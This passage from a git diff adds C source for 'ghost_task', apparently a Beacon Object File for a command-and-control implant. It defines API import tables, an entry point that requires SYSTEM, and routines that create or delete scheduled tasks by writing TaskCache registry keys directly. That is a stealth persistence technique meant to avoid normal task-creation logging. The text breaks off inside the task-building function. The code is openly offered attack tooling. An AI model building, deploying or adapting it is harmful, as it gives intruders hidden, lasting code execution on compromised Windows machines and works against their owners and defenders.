ADVAPI32$RegDeleteKeyValueW RegDeleteKeyValueW +#define ADVAPI32$RegDeleteTreeA RegDeleteTreeA +#define ADVAPI32$RegDeleteTreeW RegDeleteTreeW +#define ADVAPI32$RegDeleteValueA RegDeleteValueA +#define ADVAPI32$RegDeleteValueW RegDeleteValueW +#define ADVAPI32$RegEnumValueA RegEnumValueA +#define ADVAPI32$RegEnumKeyExA RegEnumKeyExA +#define ADVAPI32$RegOpenKeyA RegOpenKeyA +#define ADVAPI32$RegOpenKeyExA RegOpenKeyExA +#define ADVAPI32$RegOpenKeyExW RegOpenKeyExW +#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA +#define ADVAPI32$RegQueryValueExA RegQueryValueExA +#define ADVAPI32$RegQueryValueExW RegQueryValueExW +#define ADVAPI32$RegSaveKeyExA RegSaveKeyExA +#define ADVAPI32$RegSetValueExA RegSetValueExA +#define ADVAPI32$RegSetValueExW RegSetValueExW +#define ADVAPI32$InitiateSystemShutdownExA InitiateSystemShutdownExA + +//NTDLL +#define NTDLL$NtCreateFile NtCreateFile +#define NTDLL$NtClose NtClose +#define NTDLL$NtRenameKey NtRenameKey +#define NTDLL$NtQueueApcThread NtQueueApcThread + +//IMAGEHLP +#define IMAGEHLP$ImageEnumerateCertificates ImageEnumerateCertificates +#define IMAGEHLP$ImageGetCertificateHeader ImageGetCertificateHeader +#define IMAGEHLP$ImageGetCertificateData ImageGetCertificateData + +//CRYPT32 +#define CRYPT32$CryptVerifyMessageSignature CryptVerifyMessageSignature +#define CRYPT32$CertGetNameStringW CertGetNameStringW +#define CRYPT32$CertFreeCertificateContext CertFreeCertificateContext +#define CRYPT32$CryptUnprotectData CryptUnprotectData +#define CRYPT32$CryptEncodeObjectEx CryptEncodeObjectEx +#define CRYPT32$CryptBinaryToStringW CryptBinaryToStringW + +//DNSAPI +#define DNSAPI$DnsQuery_A DnsQuery_A +#define DNSAPI$DnsFree DnsFree +#define DNSAPI$DnsGetCacheDataTable DnsGetCacheDataTable + +//OLE32 +#define OLE32$CoInitializeEx CoInitializeEx +#define OLE32$CoUninitialize CoUninitialize +#define OLE32$CoInitializeSecurity CoInitializeSecurity +#define OLE32$CoCreateInstance CoCreateInstance +#define OLE32$CLSIDFromString CLSIDFromString +#define OLE32$IIDFromString IIDFromString +#define OLE32$StringFromGUID2 StringFromGUID2 +#define OLE32$CoSetProxyBlanket CoSetProxyBlanket +#define OLE32$CoTaskMemAlloc CoTaskMemAlloc +#define OLE32$CoTaskMemFree CoTaskMemFree + +//OLEAUT32 +#define OLEAUT32$SysAllocString SysAllocString +#define OLEAUT32$SysReAllocString SysReAllocString +#define OLEAUT32$SysFreeString SysFreeString +#define OLEAUT32$SysStringLen SysStringLen +#define OLEAUT32$VariantInit VariantInit +#define OLEAUT32$VariantClear VariantClear +#define OLEAUT32$SysAddRefString SysAddRefString +#define OLEAUT32$VariantChangeType VariantChangeType +#define OLEAUT32$VarFormatDateTime VarFormatDateTime +#define OLEAUT32$SafeArrayDestroy SafeArrayDestroy +#define OLEAUT32$SafeArrayLock SafeArrayLock +#define OLEAUT32$SafeArrayGetLBound SafeArrayGetLBound +#define OLEAUT32$SafeArrayGetUBound SafeArrayGetUBound +#define OLEAUT32$SafeArrayGetElement SafeArrayGetElement +#define OLEAUT32$SafeArrayGetElemsize SafeArrayGetElemsize + +//DBGHELP +#define DBGHELP$MiniDumpWriteDump MiniDumpWriteDump + +//WLDAP32 +#define WLDAP32$ldap_init ldap_init +#define WLDAP32$ldap_bind_s ldap_bind_s +#define WLDAP32$ldap_search_s ldap_search_s +#define WLDAP32$ldap_count_entries ldap_count_entries +#define WLDAP32$ldap_get_values_lenA ldap_get_values_lenA +#define WLDAP32$ldap_value_free_len ldap_value_free_len +#define WLDAP32$ldap_first_entry ldap_first_entry +#define WLDAP32$ldap_next_entry ldap_next_entry +#define WLDAP32$ldap_first_attribute ldap_first_attribute +#define WLDAP32$ldap_count_values ldap_count_values +#define WLDAP32$ldap_get_values ldap_get_values +#define WLDAP32$ldap_value_free ldap_value_free +#define WLDAP32$ldap_next_attribute ldap_next_attribute +#define WLDAP32$ber_free ber_free +#define WLDAP32$ldap_memfree ldap_memfree +#define WLDAP32$ldap_unbind ldap_unbind +#define WLDAP32$ldap_unbind_s ldap_unbind_s +#define WLDAP32$ldap_msgfree ldap_msgfree + +//RPCRT4 +#define RPCRT4$UuidToStringA UuidToStringA +#define RPCRT4$RpcStringFreeA RpcStringFreeA + +//PSAPI +#define PSAPI$EnumProcesses EnumProcesses +#define PSAPI$EnumProcessModules EnumProcessModules +#define PSAPI$GetModuleBaseNameW GetModuleBaseNameW + +// GDI32 +#define GDI32$CreateFontW CreateFontW +#define GDI32$DeleteObject DeleteObject +#define GDI32$SelectObject SelectObject +#define GDI32$SetTextColor SetTextColor +#define GDI32$SetBkColor SetBkColor +#define GDI32$SetBkMode SetBkMode +#define GDI32$CreateSolidBrush CreateSolidBrush + +//BEACON +#define BeaconPrintf(x, y, ...) printf(y, ##__VA_ARGS__) +#define internal_printf printf +#endif diff --git a/SAR-BOF/ghost_task/src/entry.c b/SAR-BOF/ghost_task/src/entry.c new file mode 100644 index 0000000..2651ef0 --- /dev/null +++ b/SAR-BOF/ghost_task/src/entry.c @@ -0,0 +1,51 @@ +#include +#include + +void printoutput(BOOL done); + +#define DYNAMIC_LIB_COUNT 2 +#include "beacon.h" +#include "bofdefs.h" +#include "base.c" +#include "ghost_task.c" + +void go(char *args, int alen) +{ + datap parser; + Arguments arguments; + + bofstart(); + + BeaconDataParse(&parser, args, alen); + + if (!ParseArguments(&parser, &arguments)) + { + BeaconPrintf(CALLBACK_ERROR, "Invalid arguments"); + printoutput(TRUE); + bofstop(); + return; + } + + if (!CheckSystem()) + { + BeaconPrintf(CALLBACK_ERROR, "You have to run it as SYSTEM."); + printoutput(TRUE); + bofstop(); + return; + } + + if (arguments.taskOperation == TaskAddOperation) + AddScheduleTask( + NULL, arguments.taskName, + arguments.program, arguments.argument, + arguments.userName, arguments.scheduleType, + arguments.hour, arguments.minute, + arguments.second, arguments.dayBitmap + ); + else if (arguments.taskOperation == TaskDeleteOperation) + DeleteScheduleTask(NULL, arguments.taskName); + + internal_printf("\nGhostTask completed.\n"); + printoutput(TRUE); + bofstop(); +} diff --git a/SAR-BOF/ghost_task/src/ghost_task.c b/SAR-BOF/ghost_task/src/ghost_task.c new file mode 100644 index 0000000..46bcd39 --- /dev/null +++ b/SAR-BOF/ghost_task/src/ghost_task.c @@ -0,0 +1,1088 @@ +#include +#include "ghost_task.h" + +#define GUIDSIZE 38 +#define COPY_DATA(dest, src, size) \ + memcpy(dest, src, size); \ + dest += size; + +const char *DAYS[] = {"sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"}; +const char *SCHEDULETYPES[] = {"second", "daily", "weekly", "logon"}; + + +// malloc +WINBASEAPI void *__cdecl MSVCRT$malloc(size_t _Size); +// isspace +WINBASEAPI int __cdecl MSVCRT$isspace(int _C); +// _strlwr +WINBASEAPI char *__cdecl MSVCRT$_strlwr(char *_String); +// _strupr +WINBASEAPI char *__cdecl MSVCRT$_strupr(char *_String); + +#define malloc MSVCRT$malloc +#define isspace MSVCRT$isspace +#define _strlwr MSVCRT$_strlwr +#define _strupr MSVCRT$_strupr +#define memcpy MSVCRT$memcpy +#define strlen MSVCRT$strlen +#define free MSVCRT$free +#define strcmp MSVCRT$strcmp +#define sprintf MSVCRT$sprintf +#define strtok MSVCRT$strtok +#define memset MSVCRT$memset + +WINBASEAPI VOID WINAPI KERNEL32$GetLocalTime(LPSYSTEMTIME lpSystemTime); +#define GetLocalTime KERNEL32$GetLocalTime + +WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToFileTime(CONST SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime); +#define SystemTimeToFileTime KERNEL32$SystemTimeToFileTime + +//add GetCurrentThread +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread(VOID); +#define GetCurrentThread KERNEL32$GetCurrentThread + +#define GetCurrentProcess KERNEL32$GetCurrentProcess +#define GetLastError KERNEL32$GetLastError + + +// Add MultiByteToWideChar +WINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); +#define MultiByteToWideChar KERNEL32$MultiByteToWideChar + + + +// REF FUNCS +typedef LSTATUS WINAPI (*RegOpenKeyExA_t)(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); +typedef LSTATUS WINAPI (*RegQueryValueExA_t)(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData); +typedef LSTATUS WINAPI (*RegCreateKeyExA_t)(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); +typedef LSTATUS WINAPI (*RegSetValueExA_t)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData); +typedef LSTATUS WINAPI (*RegCloseKey_t)(HKEY hKey); +typedef LSTATUS WINAPI (*RegDeleteTreeA_t)(HKEY hKey, LPCSTR lpSubKey); +// add LookupAccountNameA +typedef BOOL WINAPI (*LookupAccountNameA_t)(LPCSTR lpSystemName, LPCSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); +// add OpenProcessToken +typedef BOOL WINAPI (*OpenProcessToken_t)(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); +// add OpenThreadToken +typedef BOOL WINAPI (*OpenThreadToken_t)(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle); +// add GetTokenInformation +typedef BOOL WINAPI (*GetTokenInformation_t)(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); +// add AllocateAndInitializeSid +typedef BOOL WINAPI (*AllocateAndInitializeSid_t)(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD dwSubAuthority0, DWORD dwSubAuthority1, DWORD dwSubAuthority2, DWORD dwSubAuthority3, DWORD dwSubAuthority4, DWORD dwSubAuthority5, DWORD dwSubAuthority6, DWORD dwSubAuthority7, PSID *pSid); +// add EqualSid +typedef BOOL WINAPI (*EqualSid_t)(PSID pSid1, PSID pSid2); +// add FreeSid +typedef VOID WINAPI (*FreeSid_t)(PSID pSid); +// add ConvertStringSecurityDescriptorToSecurityDescriptorA +typedef BOOL WINAPI (*ConvertStringSecurityDescriptorToSecurityDescriptorA_t)(LPCSTR StringSecurityDescriptor, DWORD StringSDRevision, PSECURITY_DESCRIPTOR *SecurityDescriptor, PULONG SecurityDescriptorSize); + +#define RegOpenKeyExA ((RegOpenKeyExA_t)DynamicLoad("ADVAPI32", "RegOpenKeyExA")) +#define RegQueryValueExA ((RegQueryValueExA_t)DynamicLoad("ADVAPI32", "RegQueryValueExA")) +#define RegCreateKeyExA ((RegCreateKeyExA_t)DynamicLoad("ADVAPI32", "RegCreateKeyExA")) +#define RegSetValueExA ((RegSetValueExA_t)DynamicLoad("ADVAPI32", "RegSetValueExA")) +#define RegCloseKey ((RegCloseKey_t)DynamicLoad("ADVAPI32", "RegCloseKey")) +#define RegDeleteTreeA ((RegDeleteTreeA_t)DynamicLoad("ADVAPI32", "RegDeleteTreeA")) +#define LookupAccountNameA ((LookupAccountNameA_t)DynamicLoad("ADVAPI32", "LookupAccountNameA")) +#define OpenProcessToken ((OpenProcessToken_t)DynamicLoad("ADVAPI32", "OpenProcessToken")) +#define OpenThreadToken ((OpenThreadToken_t)DynamicLoad("ADVAPI32", "OpenThreadToken")) +#define GetTokenInformation ((GetTokenInformation_t)DynamicLoad("ADVAPI32", "GetTokenInformation")) +#define AllocateAndInitializeSid ((AllocateAndInitializeSid_t)DynamicLoad("ADVAPI32", "AllocateAndInitializeSid")) +#define EqualSid ((EqualSid_t)DynamicLoad("ADVAPI32", "EqualSid")) +#define FreeSid ((FreeSid_t)DynamicLoad("ADVAPI32", "FreeSid")) +#define ConvertStringSecurityDescriptorToSecurityDescriptorA ((ConvertStringSecurityDescriptorToSecurityDescriptorA_t)DynamicLoad("ADVAPI32", "ConvertStringSecurityDescriptorToSecurityDescriptorA")) + +// RPCRT4 FUNCs +typedef RPC_STATUS RPC_ENTRY (*UuidCreate_t)(UUID *Uuid); +typedef RPC_STATUS RPC_ENTRY (*UuidToStringA_t)(UUID *Uuid, RPC_CSTR *StringUuid); +typedef RPC_STATUS RPC_ENTRY (*RpcStringFreeA_t)(RPC_CSTR *String); + +#define UuidCreate ((UuidCreate_t)DynamicLoad("RPCRT4", "UuidCreate")) +#define UuidToStringA ((UuidToStringA_t)DynamicLoad("RPCRT4", "UuidToStringA")) +#define RpcStringFreeA ((RpcStringFreeA_t)DynamicLoad("RPCRT4", "RpcStringFreeA")) +char *my_strstr(char *haystack, char *needle) +{ + if (!*needle) + return haystack; + + char *p1 = (char *)haystack, *p2 = (char *)needle; + char *p1Adv = (char *)haystack; + while (*++p2) + p1Adv++; + + while (*p1Adv) + { + char *p1Begin = p1; + p2 = (char *)needle; + while (*p1 && *p2 && *p1 == *p2) + { + p1++; + p2++; + } + if (!*p2) + return p1Begin; + + p1 = p1Begin + 1; + p1Adv++; + } + return NULL; +} + +int my_atoi(const char *str) +{ + int res = 0; + int sign = 1; + int i = 0; + + // Skip whitespace characters + while (isspace((unsigned char)str[i])) + { + i++; + } + + // Check for optional sign + if (str[i] == '-' || str[i] == '+') + { + sign = (str[i] == '-') ? -1 : 1; + i++; + } + + // Convert number + while (isdigit((unsigned char)str[i])) + { + res = res * 10 + (str[i] - '0'); + i++; + } + + return sign * res; +} + +char *my_strrchr(const char *s, int c) +{ + char *last_occurrence = NULL; + while (*s) + { + if (*s == c) + last_occurrence = (char *)s; + s++; + } + return last_occurrence; +} + +void my_strncpy_s(char *dest, size_t destSize, const char *src, size_t count) +{ + size_t i; + for (i = 0; i < count && i < destSize - 1 && src[i] != '\0'; i++) + { + dest[i] = src[i]; + } + dest[i] = '\0'; +} +BOOL ParseArguments(datap *parser, Arguments *arguments) +{ + int arglen; + char *operation; + char *taskName; + char *program; + char *argument; + char *userName; + char *scheduleType; + char *time = NULL; + char *dayStr = NULL; + char *day; + arguments->dayBitmap = 0; + arguments->computerName = NULL; // always local + + arglen = BeaconDataInt(parser); + + // Parse operation from the datap structure + operation = BeaconDataExtract(parser, NULL); + + if (operation == NULL) + { + BeaconPrintf(CALLBACK_ERROR, "No reg task operation (e.g., add/delete) provided."); + return FALSE; + } + + if (strcmp("add", _strlwr(operation)) == 0) + { + const char *missingArgs[] = {"task name", "program", "argument", "username for task execution", "schedule type"}; + for (int i = 2, j = 0; i < 7; i++, j++) + { + if (arglen == i) + { + BeaconPrintf(CALLBACK_ERROR, "No %s provided.", missingArgs[j]); + return false; + } + } + + taskName = BeaconDataExtract(parser, NULL); + program = BeaconDataExtract(parser, NULL); + argument = BeaconDataExtract(parser, NULL); + userName = BeaconDataExtract(parser, NULL); + scheduleType = _strlwr(BeaconDataExtract(parser, NULL)); + + arguments->taskName = taskName; + arguments->taskOperation = TaskAddOperation; + bool foundScheduleType = false; + + for (int i = 0; i < sizeof(SCHEDULETYPES) / sizeof(SCHEDULETYPES[0]); i++) + { + if (strcmp(scheduleType, SCHEDULETYPES[i]) == 0) + { + arguments->scheduleType = i; + foundScheduleType = true; + + // For "second", "daily", and "weekly" we need an execution time + if (i <= 2 && arglen == 7) + { + BeaconPrintf(CALLBACK_ERROR, " Please provide scheduled task execution time (e.g., 22:15)."); + return false; + } + + if (i == 2) + { // weekly + time = BeaconDataExtract(parser, NULL); + if (arglen == 8) + { + BeaconPrintf(CALLBACK_ERROR, " Please provide days (e.g., monday,friday) for weekly execution."); + return false; + } + dayStr = BeaconDataExtract(parser, NULL); + day = _strlwr(dayStr); + for (int j = 0; j < 7; j++) + { + if (my_strstr(day, (char *)DAYS[j])) + arguments->dayBitmap += (1 << j); + } + } + else if (i <= 2) // second or daily + time = BeaconDataExtract(parser, NULL); + } + } + + if (!foundScheduleType) + { + BeaconPrintf(CALLBACK_ERROR, " Unknown schedule type '%s'."); + return false; + } + + // Handle time + if (strcmp("second", scheduleType) == 0) + { + arguments->hour = 0; + arguments->minute = 0; + arguments->second = my_atoi(time); + } + else if (strcmp("daily", scheduleType) == 0 || strcmp("weekly", scheduleType) == 0) + { + char *token = strtok(time, ":"); + arguments->hour = my_atoi(token); + token = strtok(NULL, ":"); + arguments->minute = my_atoi(token); + if (arguments->hour > 23 || arguments->minute > 59) + { + BeaconPrintf(CALLBACK_ERROR, " Wrong time format (e.g., 15:30)."); + return false; + } + } + + arguments->program = program; + arguments->argument = argument; + arguments->userName = userName; + } + else if (strcmp("delete", operation) == 0) + { + if (arglen == 2) + { + BeaconPrintf(CALLBACK_ERROR, "No task name provided."); + return FALSE; + } + taskName = BeaconDataExtract(parser, NULL); + arguments->taskName = taskName; + arguments->taskOperation = TaskDeleteOperation; + } + else + { + BeaconPrintf(CALLBACK_ERROR, "Unknown command '%s'.", operation); + return FALSE; + } + return TRUE; +} + +BOOL CheckSystem() +{ + + HANDLE hToken = NULL; + UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES]; + PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser; + ULONG cbTokenUser; + SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY; + PSID pSystemSid; + BOOL bSystem; + // Get thread token, if failed then try process token + if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) + { + if (hToken == NULL && GetLastError() == ERROR_NO_TOKEN) + { + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) + { + BeaconPrintf(CALLBACK_ERROR, "Error calling OpenProcessToken. Error code:0x%x", GetLastError()); + return false; + } + } + + } + if (hToken == NULL) + { + BeaconPrintf(CALLBACK_ERROR, "No token found. Error code:0x%x", GetLastError()); + return false; + } + + if (!GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) + { + BeaconPrintf(CALLBACK_ERROR, "Error calling GetTokenInformation. Error code:0x%x", GetLastError()); + return false; + } + + if (!AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) + { + BeaconPrintf(CALLBACK_ERROR, "Error calling AllocateAndInitializeSid. Error code:0x%x", GetLastError()); + return false; + } + + bSystem = EqualSid(pTokenUser->User.Sid, pSystemSid); + FreeSid(pSystemSid); + return bSystem; +} + +// Return a handle to the specified registry key, return error code if failure +REG_ERROR_CODE OpenKeyHandle(HKEY *hKey, LPCSTR computerName, ACCESS_MASK desiredAccess, LPCSTR keyName) +{ + LSTATUS lret; + REGSAM archType = KEY_WOW64_64KEY; + + lret = RegOpenKeyExA(HKEY_LOCAL_MACHINE, keyName, 0, archType | desiredAccess, hKey); + if (lret != ERROR_SUCCESS) + return OPEN_KEY_FAIL; + + return REG_SUCCESS; +} + +char *GetExistingTaskGuid(LPCSTR computerName, LPCSTR taskName) +{ + DWORD dwRet = 0; + DWORD type = 0; + DWORD size = 0; + char *treePath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\"; + int treePathSize = strlen(treePath); + char *treeKey = (char *)malloc(treePathSize + strlen(taskName) + 1); + sprintf(treeKey, "%s%s", treePath, taskName); + HKEY key = NULL; + char *valueData = NULL; + + REG_ERROR_CODE regRetCode = OpenKeyHandle(&key, computerName, KEY_READ, treeKey); + free(treeKey); + if (regRetCode != REG_SUCCESS) + return NULL; + + dwRet = RegQueryValueExA(key, "Id", NULL, &type, NULL, &size); + if (dwRet != ERROR_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Error calling RegQueryValueExA. Error code:0x%x\n", dwRet); + goto exit; + } + + if (type == REG_SZ || type == REG_EXPAND_SZ || type == REG_MULTI_SZ) + size += 2; + + valueData = (char *)malloc(size); + if (!valueData) + goto exit; + + dwRet = RegQueryValueExA(key, "Id", NULL, &type, (LPBYTE)valueData, &size); + if (dwRet != ERROR_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Error calling RegQueryValueExA. Error code:0x%x\n", dwRet); + free(valueData); + valueData = NULL; + } + +exit: + if (key) + RegCloseKey(key); + return valueData; +} +// Add func start + +char *GetProductName(LPCSTR computerName) +{ + DWORD dwRet = 0; + DWORD type = 0; + DWORD size = 0; + char *path = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\"; + HKEY key = NULL; + char *valueData = NULL; + + REG_ERROR_CODE regRetCode = OpenKeyHandle(&key, computerName, KEY_READ, path); + if (regRetCode != REG_SUCCESS) + return NULL; + + dwRet = RegQueryValueExA(key, "ProductName", NULL, &type, NULL, &size); + if (dwRet != ERROR_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Error calling RegQueryValueExA. Error code:0x%x\n", dwRet); + goto exit; + } + + if (type == REG_SZ || type == REG_EXPAND_SZ || type == REG_MULTI_SZ) + size += 2; + + valueData = (char *)malloc(size); + if (!valueData) + goto exit; + + dwRet = RegQueryValueExA(key, "ProductName", NULL, &type, (LPBYTE)valueData, &size); + if (dwRet != ERROR_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Error calling RegQueryValueExA. Error code:0x%x\n", dwRet); + free(valueData); + valueData = NULL; + } + +exit: + if (key) + RegCloseKey(key); + return valueData; +} + +REG_ERROR_CODE AddKey(LPCSTR computerName, LPCSTR keyName) +{ + const char *hiveRootString = "HKLM"; + const char *rootSeparator = (strlen(keyName) == 0) ? "" : "\\"; + const char *computerString = computerName == NULL ? "" : computerName; + const char *computerNameSeparator = computerName == NULL ? "" : "\\"; + + HKEY hHiveRoot = NULL; + REG_ERROR_CODE regRetCode = OpenKeyHandle(&hHiveRoot, computerName, KEY_CREATE_SUB_KEY, NULL); + if (regRetCode != REG_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to get key handle for HKLM."); + return OPEN_KEY_FAIL; + } + HKEY hNewKey; + DWORD dwDisposition; + LSTATUS lret = RegCreateKeyExA(hHiveRoot, keyName, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hNewKey, &dwDisposition); + + if (hHiveRoot != HKEY_LOCAL_MACHINE) + RegCloseKey(hHiveRoot); + + if (lret != ERROR_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to create key '%s%s%s%s%s' [error %d].", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName, lret); + return ADD_KEY_FAIL; + } + + RegCloseKey(hNewKey); + + if (dwDisposition == REG_OPENED_EXISTING_KEY) + { + BeaconPrintf(CALLBACK_ERROR, "Identified existing key '%s%s%s%s%s'.", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName); + return REG_SUCCESS; + } + + BeaconPrintf(CALLBACK_OUTPUT, "Created key '%s%s%s%s%s'.", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName); + return REG_SUCCESS; +} + +void AddValue(HKEY hKey, LPCSTR computerName, LPCSTR keyName, LPCSTR valueName, DWORD dwRegType, DWORD dataLength, LPBYTE bdata, bool overwrite) +{ + const char *hiveRootString = "HKLM"; + const char *rootSeparator = (strlen(keyName) == 0) ? "" : "\\"; + const char *computerString = computerName == NULL ? "" : computerName; + const char *computerNameSeparator = computerName == NULL ? "" : "\\"; + + LSTATUS lret = RegQueryValueExA(hKey, valueName, NULL, NULL, NULL, NULL); + + const char *successOperationString = (lret == ERROR_SUCCESS) ? "Overwrote" : "Added"; + const char *failOperationString = (lret == ERROR_SUCCESS) ? "overwrite" : "add"; + const char *preposition = (lret == ERROR_SUCCESS) ? "in" : "to"; + + if (lret == ERROR_SUCCESS && !overwrite) + return; + lret = RegSetValueExA(hKey, valueName, 0, dwRegType, bdata, dataLength); + + if (lret != ERROR_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to %s value '%s' %s '%s%s%s%s%s' [error %d].", failOperationString, valueName, preposition, computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName, lret); + return; + } + + BeaconPrintf(CALLBACK_OUTPUT, "%s value '%s' %s '%s%s%s%s%s'", successOperationString, valueName, preposition, computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName); +} + +void AddScheduleTask(LPCSTR computerName, LPCSTR taskName, LPCSTR cmd, LPCSTR argument, LPCSTR userName, unsigned short scheduleType, int hour, int minute, int second, unsigned short dayBitmap) +{ + unsigned char author[] = {0x41, 0x00, 0x75, 0x00, 0x74, 0x00, 0x68, 0x00, 0x6f, 0x00, 0x72, 0x00}; + char *taskPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\"; + char *tree = "Tree\\"; + char *plain = "Plain\\"; + char *task = "Tasks\\"; + int taskNameSize = strlen(taskName); + int taskPathSize = strlen(taskPath); + int plainSize = strlen(plain); + int taskSize = strlen(task); + int treeSize = strlen(tree); + int sizeOfAuthor = sizeof(author) / sizeof(author[0]); + char *uriPath = (char *)malloc(taskNameSize + 2); + char *treeKey = (char *)malloc(taskPathSize + treeSize + taskNameSize + 1); + char *plainKey = NULL, *taskKey = NULL, *fullGuid = NULL, *productName = NULL; + PSID targetSid = NULL; + DWORD domainSize, sizeOfSid = 0; + LPSTR domainName = NULL; + bool userFound, legacyActionVersion = false; + SID_NAME_USE peUse; + FILETIME emptyTime; + AlignedByte empty; + TSTIME emptyTstime; + OSVERSIONINFOEXA winVer; + FILETIME ft; + SYSTEMTIME st; + char dateString[20]; + LPCSTR workingDirectory = ""; + LONGLONG index = 3; + wchar_t cmd_w[256] = {0}; + wchar_t argument_w[256] = {0}; + wchar_t workingDirectory_w[256] = {0}; + int sizeOfCmd = strlen(cmd); + int sizeOfArgument = strlen(argument); + int sizeOfWorkingDirectory = strlen(workingDirectory); + DWORD totalActionSize; + Actions *action = (Actions *)malloc(sizeof(Actions)); + BYTE *actionRaw = NULL; + DynamicInfo dynamicInfo; + SYSTEMTIME startBoundary; + FILETIME ftStartBoundary; + TSTIME tsStartBoundary; + PSECURITY_DESCRIPTOR pSd = NULL; + ULONG sdLength; + HKEY hKeyTree = NULL; + HKEY hKeyTask = NULL; + Header header; + Trigger12 *trigger12 = NULL; + Trigger28 *trigger28 = NULL; + JobBucket12 jobBucket12; + UserInfo12 userInfo12; + JobBucket28 jobBucket28; + UserInfo28 userInfo28; + OptionalSettings optionalSettings; + TimeTrigger timeTrigger; + LogonTrigger logonTrigger; + AlignedByte version, localized, skipUser, skipSid, enable; + + empty.value = 0; + memset(empty.padding, 0, 7); + emptyTime.dwLowDateTime = 0; + emptyTime.dwHighDateTime = 0; + emptyTstime.isLocalized = empty; + emptyTstime.time = emptyTime; + MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, cmd, -1, cmd_w, sizeOfCmd); + MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, argument, -1, argument_w, sizeOfArgument); + MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, workingDirectory, -1, workingDirectory_w, sizeOfWorkingDirectory); + sizeOfCmd = sizeOfCmd * 2; + sizeOfArgument = sizeOfArgument * 2; + sizeOfWorkingDirectory = sizeOfWorkingDirectory * 2; + startBoundary.wYear = 1992; + startBoundary.wMonth = 5; + startBoundary.wDay = 1; + startBoundary.wHour = hour; + startBoundary.wMinute = minute; + startBoundary.wSecond = 0; + startBoundary.wMilliseconds = 0; + SystemTimeToFileTime(&startBoundary, &ftStartBoundary); + localized.value = 1; + memset(localized.padding, 0, 7); + tsStartBoundary.isLocalized = localized; + tsStartBoundary.time = ftStartBoundary; + + // Construct schedule task path + sprintf(treeKey, "%s%s%s", taskPath, tree, taskName); + sprintf(uriPath, "\\%s", taskName); + + // Get Windows version + memset(&winVer, 0, sizeof(OSVERSIONINFOEXA)); + winVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA); + productName = GetProductName(computerName); + if (productName == NULL) + { + BeaconPrintf(CALLBACK_ERROR, "Unable to obtain the product name of the target system (%s).", computerName); + goto exit; + } + if (my_strstr(productName, "2016")) + legacyActionVersion = TRUE; + + userFound = LookupAccountNameA(NULL, userName, targetSid, &sizeOfSid, domainName, &domainSize, &peUse); + if (!userFound && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + targetSid = (PSID)malloc(sizeOfSid); + domainName = (LPSTR)malloc(domainSize * sizeof(CHAR) + 1); + if (!targetSid || !domainName) + { + BeaconPrintf(CALLBACK_ERROR, "Memory allocation failed."); + goto exit; + } + + userFound = LookupAccountNameA(NULL, userName, targetSid, &sizeOfSid, domainName, &domainSize, &peUse); + free(domainName); + } + + if (!userFound) + { + BeaconPrintf(CALLBACK_ERROR, "Target user not found. Error code: 0x%x", GetLastError()); + goto exit; + } + + // Get existing GUID or generate new GUID + fullGuid = GetExistingTaskGuid(computerName, taskName); + if (!fullGuid) + { + GUID uuid = {0}; + RPC_CSTR szRPCGuid = NULL; + if (UuidCreate(&uuid) == RPC_S_OK && UuidToStringA(&uuid, &szRPCGuid) == RPC_S_OK && szRPCGuid) + { + fullGuid = (char 